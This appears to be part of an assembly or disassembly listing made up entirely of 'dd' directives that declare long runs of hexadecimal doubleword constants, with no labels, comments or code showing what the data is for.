		dd 0B0FF28B5h, 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh
		dd 0DAD8030Bh, 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h
		dd 0B03DEB97h, 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h
		dd 0BEE5C79h, 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h
		dd 0D097E882h, 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh
		dd 24A0B609h, 298C47E9h, 54A43724h, 12080E00h, 0E601D9h
		dd 0A9ED2116h, 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch
		dd 5A1048BCh, 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h
		dd 9EDD8444h, 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh
		dd 9F019547h, 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h
		dd 0BDE28D00h, 490D71D2h, 97134C34h, 58E0F0C0h,	199AABDCh
		dd 3900DF90h, 2CE127C4h, 0EAC4313h, 0FBF20888h,	0A3C0D2E0h
		dd 2E00FD4Eh, 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch
		dd 0CB6EAE00h, 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh
		dd 1201E883h, 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h
		dd 0E8006133h, 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h
		dd 5D1EE933h, 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh,	8301F580h
		dd 38002DE2h, 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh
		dd 0F2A4C010h, 0F5A1361Fh, 38290B00h, 0EA42FFh,	19934ADh
		dd 0A5E32858h, 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch
		dd 0F8E37D40h, 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h
		dd 29C100AEh, 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh
		dd 62F023h, 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h
		dd 0C0A24BFFh, 8215E496h, 244C8900h, 0BCC2F408h, 70740127h
		dd 4B5C7C3Dh, 1822E814h, 571F5E00h, 0E647FC26h,	50A200D2h
		dd 0C6083145h, 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh
		dd 48C800C3h, 7E525F1h,	4C592D2Eh, 1A24E033h, 0D20031B0h
		dd 585067D1h, 901485E5h, 0E9C40009h, 3064124Ch,	0AB1E68B8h
		dd 2F5D3353h, 4A59ACCCh, 0FE5A00B9h, 2CD7C417h,	4D7CDD2Dh
		dd 4E7C2F7Ch, 8025103Eh, 0A159E2A4h, 984BE623h,	242F862h
		dd 2ECFB118h, 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h
		dd 7F1D018h, 98E6F601h,	0F03C165Fh, 0FD9D0BC3h,	1F6E4D0Fh
		dd 24A120C0h, 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h
		dd 554741C0h, 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h
		dd 0C4074B0h, 6EEB60ABh, 0D9C2F030h, 3DC18C48h,	353983E4h
		dd 0D846F2B8h, 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh
		dd 2C57C0B3h, 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h
		dd 5BD183BAh, 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h
		dd 0F13B8979h, 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h
		dd 6226C3E9h, 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h
		dd 328230Eh, 0F981C5CBh, 1A052238h, 0F20AE9D2h,	70933C8h
		dd 18F1EA46h, 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h
		dd 3A7930C4h, 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h
		dd 7A94F998h, 0FF421B8h, 0EA13DDF8h, 800073AFh,	0EB16110Dh
		dd 4E2B3EBCh, 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h
		dd 6D40703Eh, 7B64253h,	0FCDD6510h, 0CAEB7091h,	69053314h
		dd 9809A25Bh, 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h
		dd 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h
		dd 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h
		dd 6490A8D3h, 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h
		dd 5A1E60BDh, 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah
		dd 4034B81Eh, 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h
		dd 0D81F97DFh, 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah
		dd 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh, 167CD085h,	0E0EDFCEEh
		dd 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh, 43610708h
		dd 0E08DF1E0h, 91AA683Fh, 79015C79h, 5108C1B7h,	0BDF46A7Bh
		dd 6F183ACCh, 389D8680h, 9FEEF2A6h, 0A1FEAAE2h,	10C6B900h
		dd 4F76436Fh, 7D26E871h
		dd 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h
		dd 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh,	0DE60EF49h
		dd 137FCA4h, 521B102Ch,	214F9E7Bh, 3C59F812h, 0FC8CE9E7h
		dd 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh
		dd 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h
		dd 7C6BF048h, 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h
		dd 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh
		dd 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh,	64C49C21h
		dd 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h
		dd 1336F100h, 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h
		dd 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h
		dd 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h
		dd 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h
		dd 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h,	2B7114h
		dd 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h,	0ED155E0h
		dd 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h, 6592D243h,	0BE8DF32h
		dd 3CFA082Bh, 0C5E52D0Fh, 5E34A787h, 21062090h,	7EF34CCCh
		dd 48030800h, 0F8F2AED4h, 94D79F00h, 2B12D63Fh,	88A91DD2h
		dd 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h
		dd 0E6550012h, 23AB5FACh, 0B00C42Ch, 2EF49D04h,	0A43C30h
		dd 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h,	0F2570089h
		dd 54521F1Dh, 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h
		dd 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh,	70282E81h
		dd 0F4EA0658h, 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h
		dd 0B31FC89h, 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh
		dd 7536EDE0h, 3890F00h,	41AEC383h, 67F93D8Fh, 0F81FEB85h
		dd 0A593802Fh, 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h
		dd 0E0D933F4h, 1C80600h, 0ABCAD1C0h, 0D750024h,	184EC636h
		dd 27001653h, 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h
		dd 0D726812h, 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h
		dd 20D85B14h, 76002734h, 402D4258h, 0C1F041h, 3905E624h
		dd 5312EF97h, 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h
		dd 0F025BFC6h, 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh
		dd 32A221E6h, 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h
		dd 6FDE1A9Fh, 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh
		dd 0AA77DE0Fh, 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h
		dd 6011F121h, 6A0434A5h, 543AA074h, 0A18E4BC1h,	42F3C8h
		dd 1E0FE368h, 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh
		dd 8E501847h, 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh,	20BC001Ch
		dd 6FCCFB87h, 0D51E28C8h, 23002C90h, 34435E30h,	8D3800FCh
		dd 0B21A3CF9h, 64001F40h, 48C86B44h, 244C917Fh,	9223BFh
		dd 55AD5442h, 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h
		dd 6F32255Ch, 84B853F8h, 6029BE03h, 0F0F6A92Eh,	4C96F0AAh
		dd 363F7FC2h, 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h
		dd 0B70F70h, 7890DD28h,	58877CFBh, 0BF24B401h, 0F3A7CCF2h
		dd 726A21ECh, 5DF60384h, 1C8862B2h, 0F4D3F9E9h,	0CA3E8C72h
		dd 0BE32BEFCh, 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch
		dd 0A40310D5h, 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h
		dd 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h
		dd 6FE60B27h, 331F0BEh,	1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh
		dd 60B5412Ah, 3CF059C6h, 280047FBh, 0CB1B4D72h,	0A84803DCh
		dd 0A4E9036Eh, 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh
		dd 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h, 48F7AC4h,	1DA032F1h
		dd 1660C5E2h, 0ACCC431Dh, 81DE42CFh, 3788D5D0h,	3FD43280h
		dd 72DF70C4h, 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h
		dd 0D003CDD6h, 6A00E464h, 77DF58C4h, 1FF63FA2h,	8091621Fh
		dd 0B11EEC39h, 0C58F3BCh, 7780BCAh, 0F4870063h,	2C4ABAh
		dd 886F883h, 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h
		dd 0C3A33174h, 3994DAEDh, 575DD797h, 2EA5C208h,	10CCBE0h
		dd 10C46B1Dh, 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h
		dd 828F584h, 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh
		dd 35441FA2h, 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh
		dd 5B5458h, 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh
		dd 8B1C09CCh, 0DDD402h,	803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h, 904210Ah,	5F531D0Eh, 0A20FC0C8h, 36E0882Ch
		dd 5B013B18h, 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh
		dd 3E0EACD8h, 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h
		dd 0BAD91Fh
		dd 76D9C716h, 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h
		dd 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h,	0E8217061h
		dd 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h
		dd 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h
		dd 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h
		dd 6738B82h, 9A8C0060h,	0C1A707F3h, 7503C8FEh, 0C9094981h
		dd 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h
		dd 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh
		dd 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h
		dd 0A6007306h, 16C60FFh, 0E6E82B70h, 467B00D0h,	570CF8C9h
		dd 72075002h, 8DB38615h, 6FE82730h, 0EA42588Fh,	65315700h
		dd 0DB85D873h, 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h
		dd 758D5713h, 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h
		dd 0AE1F42B0h, 3D01C978h, 47CB80DFh, 76D0A201h,	2516001Dh
		dd 0C0FEB005h, 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh
		dd 0D3CCA396h, 29A9B388h, 80EC0C39h, 1E202E6Dh,	0E8D5F8h
		dd 99FFD271h, 88B83B75h, 50EAC702h, 0E37E5FFEh,	42588802h
		dd 0BD41006Ch, 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h
		dd 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh, 0D7720095h
		dd 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h, 4D2E0390h
		dd 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h, 112E00C1h
		dd 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h,	0CFF9BAB0h
		dd 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch,	3A144143h
		dd 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h, 0AC25AE12h
		dd 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h, 0AB042800h
		dd 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h, 52801E34h
		dd 938013Ah, 97791257h,	0F3C10E0h, 9472B84Ah, 0DE041DFDh
		dd 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h,	8FA5F163h
		dd 9C362F9h, 92072C11h,	0A9F35C88h, 0E858FBD3h,	0C3E1840Eh
		dd 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h,	47914EDAh
		dd 40443C20h, 0CA106141h, 86164839h, 524A1CEh, 6F315314h
		dd 20C897Ah, 48202523h,	0C3001CBCh, 0E9880534h,	43AD0677h
		dd 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h, 90E04D09h
		dd 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h, 296EECh
		dd 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h, 38201042h
		dd 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah, 1003A2F0h
		dd 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh, 84A403A9h
		dd 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h,	90067D24h
		dd 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h,	8905B4Bh
		dd 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh, 708806A1h
		dd 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah, 5F2FC8AAh
		dd 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h, 5F9C808Dh
		dd 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh, 0E2F89502h
		dd 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch
		dd 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h, 57BEA22Ah
		dd 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h,	9E9D51E0h
		dd 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h, 0F4B8745Dh
		dd 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h, 0C91621C0h
		dd 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh, 0D1048A49h
		dd 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h, 66D00D18h
		dd 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh, 203E0C66h
		dd 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h, 9CF0E169h
		dd 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h, 0B80A7320h
		dd 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h, 0A95A00C5h
		dd 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh, 5083440Dh
		dd 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h, 119A00CAh
		dd 275C08Bh, 15392B94h,	9E059CA9h, 0FE081380h, 749CB254h
		dd 61800E1h, 2F23B459h,	0FA03A25Ch, 6445A88Bh, 71C59088h
		dd 804D01C3h, 8F26A69h,	172DE4D3h, 5D277005h, 0F1ACBCB4h
		dd 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h, 0DE98004Eh
		dd 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh
		dd 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h, 0F85FC30Bh
		dd 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh, 0E2F77208h
		dd 1E5FDC8h, 5181AD1Fh,	6132B9C6h, 0F18CC8C0h, 36F02200h
		dd 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h, 5600F203h
		dd 9636641h, 1D4B9085h,	9DBFFB83h, 948F00ACh, 0FA71EA55h
		dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h
		dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h
		dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh,	1A961130h
		dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h
		dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h,	4CD701E2h
		dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h
		dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah,	7402320h
		dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h
		dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h
		dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h
		dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h
		dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h
		dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h,	9541015Fh
		dd 39FD3B0h, 1913CC45h,	0A2900D66h, 4207D55Ch, 1A6CFD9Dh
		dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h
		dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h
		dd 7598ABCh, 2F06BD83h,	91590FEh, 8B005184h, 1CEEAA41h
		dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h
		dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h
		dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h,	8E431330h
		dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah,	8C8F878h
		dd 39A0200h, 80B96019h,	0C1FE00E2h, 0CAB1DFE7h,	440099A0h
		dd 35062005h, 3C3438Dh,	48777EB8h, 2C991F68h, 80CD4A5h
		dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h
		dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h,	810FF9EEh
		dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh
		dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah,	3AC07788h
		dd 7FBD14Ah, 956EEB62h,	9D8B50CEh, 83184787h, 14D010F0h
		dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h,	0B78E13B9h
		dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h,	89D1673Dh
		dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh
		dd 2130879h, 982E8B5Ch,	0A5606353h, 0CC03A869h,	28853AF3h
		dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h
		dd 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh, 1E15587Dh
		dd 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h, 805973BFh
		dd 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh, 23725C21h
		dd 9A0AFF0Eh, 0EB50DA40h
		dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h
		dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h
		dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h
		dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h
		dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh
		dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h
		dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h
		dd 0E2EACBFh, 2014510h,	2D4C6A30h, 0B09FC32Bh, 132C0732h
		dd 121CF018h, 11C1D08h,	80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
